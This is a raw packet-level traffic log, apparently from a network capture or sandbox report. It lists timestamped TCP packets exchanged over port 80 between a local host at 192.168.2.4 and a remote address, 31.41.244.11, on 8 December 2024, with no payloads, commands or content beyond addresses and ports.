Dec 8, 2024 18:06:12.672666073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.672696114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.672894955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.673515081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.673624992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.673667908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.674510956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.674602985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.674648046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.675410032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.675453901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.675488949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.675914049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.676260948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.676301003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.676321030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.676362991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.677170992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.677215099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.677297115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.677342892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.678113937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.678157091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.678188086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.678224087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.678992987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.679059982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.679107904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.679904938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.680006027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.680052042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.680840015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.681039095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.681082964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.681790113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.681833029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.681863070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.682615995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.682657003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.682724953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.683521032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.683558941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.683634043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.683675051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.684448004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.684578896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.684619904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.685365915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.685457945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.685502052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.686266899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.686316013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.686383963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.686860085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.687165976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.687216043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.687294006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.687334061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.688059092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.688172102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.688215971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.688996077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.689112902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.689152002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.689903021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.689948082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.690031052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.690804005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.690853119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.690922022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.691754103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.691792965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.691860914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.691904068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.692656040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.692785025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.692832947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.693523884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.693634987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.693680048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.694586039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.694627047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.694662094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.695466995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.695507050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.695554018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.696264029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.696305990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.696378946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.696415901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.697228909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.697382927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.697427034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.698285103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.698429108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.698474884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.699270964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.699321985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.699393034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.699903965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.700402975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.700444937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.700475931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.700519085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.701102018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.701143026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.701178074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.701221943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.701880932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.701941967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.702055931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.702753067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.702811956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.702855110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.703006029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.703139067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.703665018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.703716040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.703761101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.703824997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.704612017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.704662085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.704693079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.704982996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.705611944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.705662012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.705701113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.705740929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.706530094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.706579924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.706602097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.706696033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.707442999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.707525015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.707567930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.708245993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.708894014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.853005886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.853017092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.853079081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.853127003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.853137970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.853403091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.853938103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.854077101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.854125023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.854897976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.854943991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.854974031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.855866909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.855902910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.855971098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.856014967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.856653929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.856715918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.856758118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.857578039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.857719898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.857764959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.858711958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.858756065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.858844995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.858921051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.859395981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.859436989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.859528065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.859560966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.860318899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.860426903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.860470057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.861363888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.861495018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.861542940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.862312078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.862353086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.862422943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.863394022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.863434076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.863503933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.864346027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.864383936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.864537001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.864571095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.865247011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.865300894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.865340948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.865987062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.866090059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.866130114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.866695881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.866734028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.866825104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.867542028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.867585897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.867633104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.867904902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.868448973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.868607044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.868662119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.869364977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.869488001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.869529963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.870302916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.870341063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.870369911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.870914936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.871181011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.871287107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.871335983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.872081041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.872245073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.872292995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.873022079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.873059988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.873066902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.873097897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.873920918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.873985052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.874083042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.874888897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.874929905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.874938011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.874965906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.875725031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.875771046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.875868082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.875907898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.876633883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.876674891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.876818895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.876859903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.877574921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.877688885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.877736092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.878437042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.878649950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.878701925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.879381895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.879494905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.879539967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.880256891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.880388021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.880430937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.881167889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.881203890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.881268024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.882107019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.882153988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.882157087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.882193089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.882986069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.883105040 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.883145094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.883876085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.884006977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.884047031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.884840012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.884895086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.884942055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.885710955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.885759115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.885775089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.886672974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.886713982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.886775017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.887630939 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.887675047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.887691975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.887729883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.888448000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.888575077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.888617039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.889364004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.889448881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.889487982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.890238047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.890346050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.890389919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.891169071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.891210079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.891212940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.891905069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.892055988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.892101049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.892229080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.892271042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.893001080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.893044949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.893078089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.893116951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.893887043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.893935919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.894006014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.894064903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.894834042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.894877911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.894895077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.895683050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.895728111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.895791054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.896629095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.896673918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.896718979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.896761894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.897522926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.897617102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.897663116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.898526907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.898641109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.898684978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.899353027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.899395943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.899434090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.900242090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.900289059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.045126915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.045221090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.045329094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.045377016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.045500994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.045546055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.045656919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.045700073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.045783997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.045825958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.046593904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.046641111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.046694994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.046736956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.047487020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.047504902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.047528982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.047540903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.048320055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.048366070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.048398018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.048439026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.049264908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.049307108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.049328089 CET	80	49765	31.41.244.11	192.168.2.4
